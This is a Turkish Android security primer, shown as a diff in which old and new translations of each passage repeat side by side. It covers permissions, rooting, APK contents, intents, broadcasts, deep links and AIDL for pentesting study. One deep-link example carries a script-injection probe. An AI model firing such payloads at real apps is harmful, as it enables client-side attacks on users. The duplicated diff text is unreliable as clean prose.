Android 5.0(L) itibariyle **SELinux** zorunlu hale getirilmiştir. Temelde, SELinux tüm süreç etkileşimlerini reddetti ve ardından bunlar arasındaki **beklenen etkileşimlere yalnızca izin veren politikalar oluşturdu**.
|
||||
**Android Uygulama Sandbox'ı**, **her uygulamanın** **ayrı bir kullanıcı kimliği altında ayrı bir işlem olarak çalıştırılmasına olanak tanır**. Her işlemin kendi sanal makinesi vardır, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\
|
||||
Android 5.0(L) itibarıyla **SELinux** uygulanmaktadır. Temelde, SELinux tüm işlem etkileşimlerini reddetti ve ardından **aralarındaki beklenen etkileşimleri yalnızca izin vermek için politikalar oluşturdu**.
|
||||
|
||||
### İzinler
|
||||
|
||||
Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını içeren **name** **özniteliğini** belirtir. Ayrıca **maxSdkVersion** özniteliği vardır, bu özellik belirtilenden daha yüksek sürümlerde izin istemeyi durdurur.\
|
||||
Android uygulamalarının tüm izinleri başlangıçta sorması gerekmediğini unutmayın, ayrıca **izinleri dinamik olarak da isteyebilirler** ancak tüm izinler **manifestoda belirtilmelidir**.
|
||||
Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını **name** **özniteliği içinde belirtir.** Ayrıca, belirtilen sürümden daha yüksek sürümlerde izin istemeyi durduran **maxSdkVersion** özniteliğine de sahiptir.\
|
||||
Android uygulamalarının başlangıçta tüm izinleri istemesi gerekmediğini, dinamik olarak da **izin isteyebileceğini** unutmayın, ancak tüm izinler **manifestoda** **belirtilmelidir.**
|
||||
|
||||
Bir uygulama işlevsellik açığa çıkardığında, **erişimi yalnızca belirli bir izne sahip uygulamalara sınırlayabilir**.\
|
||||
Bir izin öğesinin üç özelliği vardır:
|
||||
Bir uygulama işlevselliği açığa çıkardığında, **yalnızca belirli bir izne sahip uygulamalara erişimi sınırlayabilir**.\
|
||||
Bir izin öğesinin üç özniteliği vardır:
|
||||
|
||||
* İzinin **adı**
|
||||
* İzin grubu özniteliği, ilgili izinleri gruplandırmaya olanak tanır.
|
||||
* İzinlerin nasıl verildiğini belirten **koruma düzeyi**. Dört tür vardır:
|
||||
* **Normal**: Uygulamaya **bilinen tehditler** olmadığında kullanılır. Kullanıcının **onayı gerekmez**.
|
||||
* **Tehlikeli**: İzinin isteyen uygulamaya bazı **yükseltilmiş erişimler** sağladığını belirtir. **Kullanıcıların onayını talep eder**.
|
||||
* **Signature**: Yalnızca **aynı sertifika ile imzalanan uygulamalar**, bileşeni dışa aktaranın sertifikasıyla aynı sertifika ile imzalanmış uygulamalara izin verilebilir. Bu, en güçlü koruma türüdür.
|
||||
* **SignatureOrSystem**: Yalnızca **aynı sertifika ile imzalanan uygulamalar**, bileşeni dışa aktaranın sertifikasıyla aynı sertifika ile imzalanan uygulamalar veya **sistem düzeyinde erişimle çalışan uygulamalar** izin alabilir
|
||||
* İznin **adı**
|
||||
* İzin grubu **özniteliği**, ilgili izinleri gruplamak için kullanılır.
|
||||
* İzinlerin nasıl verildiğini belirten **koruma seviyesi**. Dört tür vardır:
|
||||
* **Normal**: Uygulama için **bilinen tehditler yoksa** kullanılır. Kullanıcının **onaylaması gerekmez**.
|
||||
* **Tehlikeli**: İznin, istek yapan uygulamaya bazı **yükseltilmiş erişim** sağladığını belirtir. **Kullanıcılardan onay istenir**.
|
||||
* **İmza**: Yalnızca **bileşeni dışa aktaranla aynı sertifika ile imzalanmış uygulamalar** izin alabilir. Bu, en güçlü koruma türüdür.
|
||||
* **İmza veya Sistem**: Yalnızca **bileşeni dışa aktaranla aynı sertifika ile imzalanmış uygulamalar veya **sistem düzeyinde erişimle çalışan uygulamalar** izin alabilir.
|
||||
|
||||
## Ön Yüklü Uygulamalar
|
||||
## Önceden Yüklenmiş Uygulamalar
|
||||
|
||||
Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinlerinde bulunur ve bazıları **optimize edilmiştir** (bazen `classes.dex` dosyasını bile bulamayabilirsiniz). Bu uygulamalar kontrol edilmeye değerdir çünkü bazen **çok fazla izinle çalışıyor olabilirler** (kök olarak).
|
||||
Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinlerinde bulunur ve bazıları **optimize edilmiştir** (belki de `classes.dex` dosyasını bile bulamazsınız). Bu uygulamalar, bazen **çok fazla izinle çalıştıkları** için kontrol edilmeye değerdir (root olarak).
|
||||
|
||||
* **AOSP** (Android Açık Kaynak Projesi) **ROM** ile birlikte gönderilenler
|
||||
* **AOSP** (Android Açık Kaynak Projesi) **ROM** ile birlikte gelenler
|
||||
* Cihaz **üreticisi** tarafından eklenenler
|
||||
* Cep **telefonu sağlayıcısı** tarafından eklenenler (onlardan satın alındıysa)
|
||||
* Hücresel **telefon sağlayıcısı** tarafından eklenenler (eğer onlardan satın alındıysa)
|
||||
|
||||
## Rootlama
|
||||
|
||||
Fiziksel bir Android cihaza kök erişim elde etmek için genellikle cihaza ve sürüme **özgü** olan 1 veya 2 **zafiyeti sömürmeniz gerekir**.\
|
||||
Sömürü işe yaradığında genellikle Linux `su` ikili dosyası, kullanıcının PATH çevresel değişkeninde belirtilen bir konuma (`/system/xbin` gibi) kopyalanır.
|
||||
Bir fiziksel android cihazda root erişimi elde etmek için genellikle **1 veya 2 güvenlik açığını kullanarak** **istismar** etmeniz gerekir; bu genellikle **cihaz** ve **sürüm** için **özgü** olur.\
|
||||
İstismar çalıştığında, genellikle Linux `su` ikili dosyası, kullanıcının PATH ortam değişkeninde belirtilen bir konuma kopyalanır, örneğin `/system/xbin`.
|
||||
|
||||
`su` ikili dosyası yapılandırıldığında, başka bir Android uygulaması `su` ikili dosyasıyla etkileşim kurmak ve **kök erişimi taleplerini işlemek için** kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play Store'da mevcuttur).
|
||||
Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileşimde bulunmak ve **root erişim taleplerini işlemek için** başka bir Android uygulaması kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play mağazasında mevcuttur).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Rootlama işlemi çok tehlikelidir ve cihaza ciddi zarar verebilir
|
||||
Rootlama işleminin çok tehlikeli olduğunu ve cihazı ciddi şekilde zarar verebileceğini unutmayın.
|
||||
{% endhint %}
|
||||
|
||||
### ROM'lar
|
||||
|
||||
**Özel bir yazılım yükleyerek işletim sistemini değiştirmek mümkündür**. Bunu yaparak eski bir cihazın kullanışlılığını artırabilir, yazılım kısıtlamalarını atlayabilir veya en son Android koduna erişim sağlayabilirsiniz.\
|
||||
**OmniROM** ve **LineageOS**, kullanılan en popüler yazılımlardan ikisidir.
|
||||
**Özel bir yazılım yükleyerek işletim sistemini değiştirmek mümkündür**. Bunu yaparak, eski bir cihazın kullanımını uzatmak, yazılım kısıtlamalarını aşmak veya en son Android koduna erişmek mümkündür.\
|
||||
**OmniROM** ve **LineageOS**, kullanılacak en popüler yazılımlardan ikisidir.
|
||||
|
||||
Cihazın **özelleştirilmiş bir yazılım yüklemek için kök erişim gerekli olmadığı** unutulmamalıdır. **Bazı üreticiler**, bootloader'larının belgeli ve güvenli bir şekilde kilidini açmalarına izin verir.
|
||||
**Cihazı rootlamanın her zaman gerekli olmadığını** unutmayın; **bazı üreticiler**, bootloader'larını iyi belgelenmiş ve güvenli bir şekilde kilidini açmaya izin verir.
|
||||
|
||||
### Etkiler
|
||||
### Sonuçlar
|
||||
|
||||
Bir cihaz köklendiğinde, herhangi bir uygulama kök erişimini isteyebilir. Kötü niyetli bir uygulama bunu alırsa, neredeyse her şeye erişimi olacak ve telefona zarar verebilecektir.
|
||||
Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim talep edebilir. Kötü niyetli bir uygulama bunu elde ederse, neredeyse her şeye erişimi olacak ve telefonu zarar verebilecektir.
|
||||
|
||||
## Android Uygulama Temelleri <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Android uygulamalarının formatı _APK dosya formatı_ olarak adlandırılır. Temelde bir **ZIP dosyasıdır** (dosya uzantısını .zip olarak değiştirerek içeriği çıkarılabilir ve görüntülenebilir).
|
||||
- APK İçeriği (Eksiksiz Değil)
|
||||
- Android uygulamalarının formatı _APK dosya formatı_ olarak adlandırılır. Temelde bir **ZIP dosyasıdır** (dosya uzantısını .zip olarak değiştirerek, içerikler çıkarılabilir ve görüntülenebilir).
|
||||
- APK İçerikleri (kapsamlı değil)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: derlenmiş kaynakları, biner XML gibi içeren.
|
||||
- resources.arsc: önceden derlenmiş kaynakları içerir, örneğin ikili XML.
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- Sertifikanın bulunduğu yer burasıdır!
|
||||
- **classes.dex**
|
||||
- Uygulamanın varsayılan olarak yürüttüğü derlenmiş Java (veya Kotlin) kodunu temsil eden Dalvik bytecode içerir.
|
||||
- Uygulamanın varsayılan olarak çalıştırdığı derlenmiş Java (veya Kotlin) kodunu temsil eden Dalvik bytecode içerir.
|
||||
- lib/
|
||||
- CPU mimarisine göre alt dizinlerde ayrılmış yerel kütüphaneleri barındırır.
|
||||
- `armeabi`: ARM tabanlı işlemciler için kod
|
||||
- `armeabi-v7a`: ARMv7 ve daha yüksek tabanlı işlemciler için kod
|
||||
- `x86`: X86 işlemciler için kod
|
||||
- `mips`: Yalnızca MIPS işlemciler için kod
|
||||
- `mips`: yalnızca MIPS işlemcileri için kod
|
||||
- assets/
|
||||
- Uygulama tarafından gereken çeşitli dosyaları saklar, ekstra kodu gizlemek için bazen kötü niyetli yazarlar tarafından kullanılan ek deneysel kütüphaneler veya DEX dosyalarını içerebilir.
|
||||
- Uygulamanın ihtiyaç duyduğu çeşitli dosyaları depolar, potansiyel olarak ek yerel kütüphaneler veya DEX dosyaları içerebilir, bazen kötü amaçlı yazılım yazarları tarafından ek kodu gizlemek için kullanılır.
|
||||
- res/
|
||||
- Derlenmiş olmayan kaynakları içerir.
|
||||
### **Dalvik ve Smali**
|
||||
- resources.arsc içine derlenmemiş kaynakları içerir.
|
||||
|
||||
Android geliştirmede **Java veya Kotlin** uygulamalar oluşturmak için kullanılır. Masaüstü uygulamalarında JVM kullanılmak yerine Android bu kodu **Dalvik Yürütülebilir (DEX) bytecode**'a derler. Önceden, Dalvik sanal makinesi bu bytecode'u işlerken, şimdi yeni Android sürümlerinde Android Runtime (ART) devralır.
|
||||
### **Dalvik & Smali**
|
||||
|
||||
Tersine mühendislik için **Smali** hayati öneme sahiptir. Bu, DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve montajdan çıkarma araçlarını ifade eder.
|
||||
Android geliştirmede, **Java veya Kotlin** uygulama oluşturmak için kullanılır. Masaüstü uygulamalarındaki gibi JVM kullanmak yerine, Android bu kodu **Dalvik Executable (DEX) bytecode**'a derler. Daha önce, Dalvik sanal makinesi bu bytecode'u yönetiyordu, ancak şimdi, daha yeni Android sürümlerinde Android Runtime (ART) devralmaktadır.
|
||||
|
||||
## İntentler
|
||||
Tersine mühendislik için, **Smali** kritik hale gelir. DEX bytecode'un insan tarafından okunabilir versiyonudur, kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve ayrıştırma araçlarını ifade eder.
|
||||
|
||||
İntentler, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmanın temel yoludur. Bu mesaj nesneleri aynı zamanda uygulamalar veya bileşenler arasında veri taşıyabilir, HTTP iletişiminde kullanılan GET/POST istekleri gibi.
|
||||
## Niyetler
|
||||
|
||||
Yani bir İntent temelde **bileşenler arasında iletilen bir mesajdır**. İntentler **belirli bileşenlere veya uygulamalara yönlendirilebilir** veya **belirli bir alıcı olmadan gönderilebilir**.\
|
||||
Basitçe İntent şunlar için kullanılabilir:
|
||||
Niyetler, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmanın birincil yoludur. Bu mesaj nesneleri, uygulamalar veya bileşenler arasında veri taşıyabilir, HTTP iletişimlerinde GET/POST isteklerinin nasıl kullanıldığına benzer.
|
||||
|
||||
* Bir Etkinliği başlatmak, genellikle bir uygulama için bir kullanıcı arayüzü açma
|
||||
* Sistem ve uygulamaları değişiklikler hakkında bilgilendirmek için yayınlar
|
||||
* Arkaplan hizmetini başlatmak, durdurmak ve iletişim kurmak
|
||||
* ContentProvider'lar aracılığıyla veriye erişmek
|
||||
* Olayları işlemek için geri çağrılar olarak kullanmak
|
||||
Yani bir Niyet, temelde **bileşenler arasında iletilen bir mesajdır**. Niyetler **belirli bileşenlere veya uygulamalara yönlendirilebilir** veya **belirli bir alıcı olmadan gönderilebilir**.\
|
||||
Basitçe, Niyet şu amaçlarla kullanılabilir:
|
||||
|
||||
Eğer zayıfsa, **İntentler çeşitli saldırıları gerçekleştirmek için kullanılabilir**.
|
||||
* Bir Aktivite başlatmak, genellikle bir uygulama için bir kullanıcı arayüzü açmak
|
||||
* Sistemi ve uygulamaları değişiklikler hakkında bilgilendirmek için yayınlar olarak
|
||||
* Arka planda bir hizmeti başlatmak, durdurmak ve onunla iletişim kurmak
|
||||
* ContentProviders aracılığıyla verilere erişmek
|
||||
* Olayları işlemek için geri çağırmalar olarak
|
||||
|
||||
### İntent-Filtre
|
||||
Eğer savunmasızsa, **Niyetler çeşitli saldırılar gerçekleştirmek için kullanılabilir**.
|
||||
|
||||
**İntent Filtreleri**, bir etkinlik, hizmet veya Yayın Alıcısının farklı türdeki İntent'lerle nasıl etkileşimde bulunabileceğini tanımlar. Temelde, bu bileşenlerin ne tür eylemler gerçekleştirebileceğini veya hangi yayınları işleyebileceğini açıklarlar. Bu filtreleri tanımlamanın temel yeri **AndroidManifest.xml dosyası** olmasına rağmen, Yayın Alıcıları için bunları kodlamak da bir seçenektir.
|
||||
### Niyet-Filtre
|
||||
|
||||
İntent Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verileri içerebilme olasılığı vardır. Bu yapı, bileşenlerin belirtilen kriterleri karşılayan belirli İntent'leri işlemesine olanak tanır.
|
||||
**Niyet Filtreleri**, **bir aktivite, hizmet veya Yayın Alıcısının farklı türdeki Niyetlerle nasıl etkileşimde bulunabileceğini tanımlar**. Temelde, bu bileşenlerin hangi eylemleri gerçekleştirebileceği veya hangi tür yayınları işleyebileceği gibi yeteneklerini tanımlar. Bu filtreleri tanımlamanın birincil yeri **AndroidManifest.xml dosyasıdır**, ancak Yayın Alıcıları için kodlama da bir seçenektir.
|
||||
|
||||
Android bileşenlerinin (etkinlikler/hizmetler/content sağlayıcılar/yayın alıcıları) kritik bir yönü, görünürlükleri veya **genel durumları**dır. Bir bileşen, manifestte **`true`** değeri ile **`exported`** olarak ayarlanmışsa veya için bir İntent Filtresi belirtilmişse, diğer uygulamalarla etkileşime girebilir. Bununla birlikte, geliştiricilerin bu bileşenleri yanlışlıkla diğer uygulamalarla etkileşime girmesini engellemek için bu bileşenleri açıkça özel tutma yolu vardır. Bu, manifest tanımlamalarında **`exported`** özniteliğini **`false`** olarak ayarlayarak sağlanır.
|
||||
Niyet Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verilerin dahil edilmesi mümkündür. Bu yapı, bileşenlerin belirtilen kriterlere uyan belirli Niyetleri işleyebilmesini sağlar.
|
||||
|
||||
Ayrıca, geliştiriciler bu bileşenlere erişimi daha da güvenli hale getirmek için belirli izinleri gerektirebilir. **`izin`** özniteliği, yalnızca belirli izne sahip uygulamaların bileşene erişebileceğini zorlamak için ayarlanabilir, böylece kiminle etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı eklenir.
|
||||
Android bileşenlerinin (aktivite/hizmet/içerik sağlayıcıları/yayın alıcıları) kritik bir yönü, görünürlükleri veya **kamusal durumlarıdır**. Bir bileşen, **`exported`** değeri **`true`** olarak ayarlandığında kamuya açık kabul edilir ve diğer uygulamalarla etkileşimde bulunabilir. Ancak, geliştiricilerin bu bileşenleri özel tutma seçeneği vardır, böylece diğer uygulamalarla istemeden etkileşime girmemelerini sağlar. Bu, **manifest tanımlarında `exported`** özniteliğini **`false`** olarak ayarlayarak gerçekleştirilir.
|
||||
|
||||
Ayrıca, geliştiricilerin bu bileşenlere erişimi daha da güvence altına almak için belirli izinler talep etme seçeneği vardır. **`permission`** özniteliği, yalnızca belirlenen izne sahip uygulamaların bileşene erişebileceğini zorunlu kılacak şekilde ayarlanabilir ve bu, kimlerin etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı ekler.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
</activity>
|
||||
```
|
||||
### İmplit Intentler
|
||||
### İkincil Niyetler
|
||||
|
||||
Intentler, bir Intent yapıcısı kullanılarak programatik olarak oluşturulur:
|
||||
Niyetler, bir Niyet yapıcısı kullanılarak programatik olarak oluşturulur:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
**Eylem** önceden belirtilen niyetin **ACTION\_SEND** ve **Ekstra**'sı bir mailto **Uri**'dir (Ekstra, niyetin beklediği ek bilgidir).
|
||||
The **Action** of the previously declared intent is **ACTION\_SEND** and the **Extra** is a mailto **Uri** (the Extra if the extra information the intent is expecting).
|
||||
|
||||
Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde bildirilmelidir:
|
||||
Bu intent, aşağıdaki örnekte olduğu gibi manifest içinde tanımlanmalıdır:
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -163,50 +165,50 @@ Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde bildi
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Bir intent-filtresinin bir mesajı alabilmesi için **action**, **data** ve **category** eşleşmesi gerekmektedir.
|
||||
Bir intent-filter'ın bir mesajı alabilmesi için **action**, **data** ve **category** ile eşleşmesi gerekir.
|
||||
|
||||
"Intent çözümleme" süreci, her mesajın hangi uygulamanın alması gerektiğini belirler. Bu süreç, **öncelik özniteliğini** dikkate alır, bu öncelik i**ntent-filtresi bildiriminde** ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Bir **çakışma** ortaya çıkarsa, bir "seçici" Penceresi görünür, böylece **kullanıcı karar verebilir**.
|
||||
"Intent çözümleme" süreci, her mesajın hangi uygulama tarafından alınacağını belirler. Bu süreç, i**ntent-filter bildirimi**nde ayarlanabilen **öncelik niteliğini** dikkate alır ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Eğer bir **çelişki** ortaya çıkarsa, **kullanıcının karar verebilmesi için** bir "seçici" Penceresi görünür.
|
||||
|
||||
### Açık İntentler
|
||||
|
||||
Açık bir intent, hedeflediği sınıf adını belirtir:
|
||||
Açık bir intent, hedef aldığı sınıf adını belirtir:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
Diğer uygulamalarda önceden belirtilen amaçlara erişmek için şunu kullanabilirsiniz:
|
||||
Diğer uygulamalarda daha önce tanımlanan intent'e erişmek için şunu kullanabilirsiniz:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
### Bekleyen İzinler
|
||||
### Pending Intents
|
||||
|
||||
Bu, diğer uygulamaların **uygulamanız adına hareketlerde bulunmasına izin verir**, uygulamanızın kimliğini ve izinlerini kullanarak. Bekleyen İzin oluşturulurken bir niyet ve gerçekleştirilecek eylem **belirtilmelidir**. Eğer **belirtilen niyet Açık değilse** (hangi niyetin onu çağırabileceğini belirtmez) **kötü niyetli bir uygulama belirtilen eylemi** kurban uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama **kurban adına herhangi bir eylemi gerçekleştirebilir**.
|
||||
Bunlar diğer uygulamaların **uygulamanız adına eylemler gerçekleştirmesine** olanak tanır, uygulamanızın kimliği ve izinlerini kullanarak. Bir Pending Intent oluştururken **bir intent ve gerçekleştirilecek eylem belirtilmelidir**. Eğer **belirtilen intent Açık değilse** (hangi intent'in bunu çağırabileceğini belirtmiyorsa) **kötü niyetli bir uygulama, belirtilen eylemi** mağdur uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmezse**, kötü niyetli uygulama **mağdur adına herhangi bir eylem gerçekleştirebilir**.
|
||||
|
||||
### Yayın İzinleri
|
||||
### Broadcast Intents
|
||||
|
||||
Önceki izinlerin aksine, yayın izinleri **birden fazla uygulama tarafından alınabilir**. Ancak API sürümü 14'ten itibaren, mesajı alması gereken uygulamayı belirtmek mümkündür **Intent.setPackage** kullanarak.
|
||||
Önceki intent'lerin aksine, yalnızca bir uygulama tarafından alınan, broadcast intent'ler **birden fazla uygulama tarafından alınabilir**. Ancak, API sürüm 14'ten itibaren, mesajı alması gereken uygulamayı belirtmek **mümkündür** Intent.setPackage kullanarak.
|
||||
|
||||
Alternatif olarak, yayın gönderirken **bir izin belirtmek de mümkündür**. Alıcı uygulamanın o izne sahip olması gerekecektir.
|
||||
Alternatif olarak, **yayın gönderirken bir izin belirtmek de mümkündür**. Alıcı uygulamanın bu izne sahip olması gerekecektir.
|
||||
|
||||
İki tür Yayın vardır: **Normal** (asykron) ve **Sıralı** (senkron). **Sıra**, alıcı içindeki **ayarlanmış önceliğe göre belirlenir**. **Her uygulama Yayını işleyebilir, iletebilir veya bırakabilir**.
|
||||
**İki tür** Yayın vardır: **Normal** (asenkron) ve **Sıralı** (senkron). **Sıra**, **alıcı** öğesindeki **yapılandırılmış önceliğe** dayanır. **Her uygulama Yayını işleyebilir, iletebilir veya düşürebilir.**
|
||||
|
||||
`Context` sınıfından `sendBroadcast(intent, receiverPermission)` işlevini kullanarak bir yayın göndermek mümkündür.\
|
||||
Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** işlevini kullanarak **mesajın uygulamayı terk etmemesini sağlayabilirsiniz**. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz.
|
||||
`Context` sınıfından `sendBroadcast(intent, receiverPermission)` fonksiyonunu kullanarak **bir yayın göndermek** mümkündür.\
|
||||
Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** fonksiyonunu kullanarak **mesajın uygulamadan asla çıkmamasını** sağlayabilirsiniz. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz.
|
||||
|
||||
### Kalıcı Yayınlar
|
||||
### Sticky Broadcasts
|
||||
|
||||
Bu tür Yayınlar **gönderildikten uzun bir süre sonra erişilebilir**.\
|
||||
Bu, API seviyesi 21'de kullanımdan kaldırıldı ve **kullanılmaması önerilir**.\
|
||||
**Herhangi bir uygulamanın verileri izlemesine ve değiştirmesine izin verirler**.
|
||||
Bu tür Yayınlar **gönderildikten uzun süre sonra erişilebilir**.\
|
||||
Bunlar API seviye 21'de kullanımdan kaldırıldı ve **kullanılmamaları önerilir**.\
|
||||
**Herhangi bir uygulamanın verileri dinlemesine, aynı zamanda değiştirmesine olanak tanır.**
|
||||
|
||||
Eğer **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`** gibi "sticky" kelimesini içeren işlevler bulursanız, **etkisini kontrol edin ve bunları kaldırmayı deneyin**.
|
||||
"sticky" kelimesini içeren fonksiyonlar bulursanız, örneğin **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`**, **etkisini kontrol edin ve kaldırmaya çalışın**.
|
||||
|
||||
## Derin Bağlantılar / URL şemaları
|
||||
## Deep links / URL schemes
|
||||
|
||||
Android uygulamalarında, **derin bağlantılar** bir URL aracılığıyla doğrudan bir eylemi (Niyet) başlatmak için kullanılır. Bu, bir etkinlik içinde belirli bir **URL şemasının** bildirilmesiyle yapılır. Bir Android cihazı, bu şemayla bir URL'ye **erişmeye çalıştığında**, uygulama içinde belirtilen etkinlik başlatılır.
|
||||
Android uygulamalarında, **deep links** bir eylemi (Intent) doğrudan bir URL aracılığıyla başlatmak için kullanılır. Bu, bir aktivite içinde belirli bir **URL şeması** tanımlanarak yapılır. Bir Android cihazı bu şemaya sahip bir **URL'ye erişmeye çalıştığında**, uygulama içindeki belirtilen aktivite başlatılır.
|
||||
|
||||
Şema, **`AndroidManifest.xml`** dosyasında bildirilmelidir:
|
||||
Şema, **`AndroidManifest.xml`** dosyasında tanımlanmalıdır:
|
||||
```xml
|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
|
@ -218,44 +220,44 @@ Android uygulamalarında, **derin bağlantılar** bir URL aracılığıyla doğr
|
|||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
Önceki örnekteki şema `exampleapp://` (ayrıca **`category BROWSABLE`**'ı da not edin)
|
||||
Önceki örnekteki şema `exampleapp://` (aynı zamanda **`category BROWSABLE`**'ı da not edin)
|
||||
|
||||
Ardından, veri alanında **ana bilgisayar (host)** ve **yol (path)** belirtebilirsiniz:
|
||||
Ardından, veri alanında **host** ve **path** belirtebilirsiniz:
|
||||
```xml
|
||||
<data android:scheme="examplescheme"
|
||||
android:host="example"
|
||||
/>
|
||||
```
|
||||
Web'den erişmek için bir bağlantı kurmak mümkündür:
|
||||
Web'den erişmek için şu şekilde bir bağlantı ayarlamak mümkündür:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
**Uygulamada yürütülecek kodu bulmak** için deeplink tarafından çağrılan etkinliğe gidin ve **`onNewIntent`** işlevini arayın.
|
||||
**Uygulamada çalıştırılacak kodu bulmak için**, derin bağlantı ile çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın.
|
||||
|
||||
[HTML sayfaları kullanmadan derin bağlantıları nasıl çağıracağınızı](./#exploiting-schemes-deep-links) öğrenin.
|
||||
HTML sayfaları kullanmadan [derin bağlantıları nasıl çağıracağınızı öğrenin](./#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Android Arayüz Tanım Dili
|
||||
|
||||
**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında istemci ve hizmet arasındaki iletişimi kolaylaştırmak amacıyla tasarlanmıştır ve **işlem arası iletişim** (IPC) yoluyla gerçekleştirilir. Android'de başka bir işlemin belleğine doğrudan erişim izin verilmediğinden, AIDL işlemi nesneleri işletim sistemi tarafından anlaşılabilir bir formata dönüştürerek farklı işlemler arasında iletişimi kolaylaştırır.
|
||||
**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında **işlem arası iletişim** (IPC) yoluyla istemci ve hizmet arasında iletişimi kolaylaştırmak için tasarlanmıştır. Android'de başka bir işlemin belleğine doğrudan erişim izni verilmediğinden, AIDL, nesneleri işletim sistemi tarafından anlaşılan bir formata marşallayarak süreci basitleştirir ve böylece farklı işlemler arasında iletişimi kolaylaştırır.
|
||||
|
||||
### Temel Kavramlar
|
||||
|
||||
- **Bağlı Hizmetler**: Bu hizmetler, IPC için AIDL'yi kullanır ve etkinliklerin veya bileşenlerin bir hizmete bağlanmasını, isteklerde bulunmasını ve yanıtlar almasını sağlar. Hizmetin sınıfındaki `onBind` yöntemi etkileşimi başlatmak için kritiktir ve güvenlik açıkları arayışında önemli bir alan olarak işaretlenir.
|
||||
- **Bağlı Hizmetler**: Bu hizmetler IPC için AIDL kullanır, etkinliklerin veya bileşenlerin bir hizmete bağlanmasını, isteklerde bulunmasını ve yanıt almasını sağlar. Hizmetin sınıfındaki `onBind` metodu, etkileşimi başlatmak için kritik öneme sahiptir ve güvenlik incelemesi için zafiyet arayışında önemli bir alan olarak işaretlenmelidir.
|
||||
|
||||
- **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, verilerin `onBind` yöntemi aracılığıyla işlenmesine odaklanarak IPC'yi kolaylaştırır. Bu yöntemi güvenli olmayan veri işleme veya hassas işlevlerin yürütülmesi açısından yakından incelemek önemlidir.
|
||||
- **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, `onBind` metodu aracılığıyla veri işleme odaklı IPC'yi kolaylaştırır. Bu metodun, herhangi bir güvensiz veri işleme veya hassas fonksiyonların yürütülmesi açısından dikkatlice incelenmesi önemlidir.
|
||||
|
||||
- **Binder**: Binder sınıfının doğrudan kullanımı AIDL'nin soyutlaması nedeniyle daha az yaygındır, ancak Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek seviye sürücü olarak hareket ettiğini anlamak faydalıdır. Daha fazla anlayış için bir kaynak [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresinde bulunmaktadır.
|
||||
